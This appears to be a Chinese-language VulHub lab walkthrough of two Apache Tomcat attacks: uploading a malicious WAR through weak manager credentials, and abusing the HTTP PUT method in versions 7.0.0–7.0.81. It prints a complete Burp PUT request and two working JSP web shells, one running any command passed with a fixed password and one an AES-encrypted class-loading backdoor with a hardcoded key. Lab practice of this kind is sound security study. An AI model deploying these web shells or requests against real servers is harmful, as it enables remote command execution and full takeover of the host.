漏洞形成的原因

• 未授权访问可以上传恶意构造的war包并执行
• 存在漏洞的Tomcat启用了HTTTP PUT请求方法 可以构造攻击请求 上传恶意JSP

VulHub实操

TomCat8 弱口令文件上传漏洞

影响版本：TomCat8

• 当前环境 靶机:192.168.100.22:8080 Host:192.168.100.8
• 生成恶意的jsp 并且构造war包

jar -cvf shell.war tomacat.jsp
已添加清单
正在添加: tomacat.jsp(输入 = 2617) (输出 = 916)(压缩了 64%)

• 登录tomcat后台并上传 并获取地址

• 添加到管理端 成功上线

TomCat远程命令执行漏洞

影响版本：7.0.0-7.0.81

• 当前环境 靶机:192.168.100.22:8080 Host:192.168.100.8
• 使用BrupSuit构造Put请求测试下是否存在该漏洞

PUT <http://192.168.100.22:8080/1.jsp/> HTTP/1.1
Host: 192.168.100.22:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01ocewtetcemke1n8hkzzgum9ak3.node0
Content-Type: application/x-www-form-urlencoded
Connection: close

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*åÆ¥:Þ¥Æ32Mmd5<„M16MؤޥÆrebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

• 访问构造的页面 输入设置的密码发现已经执行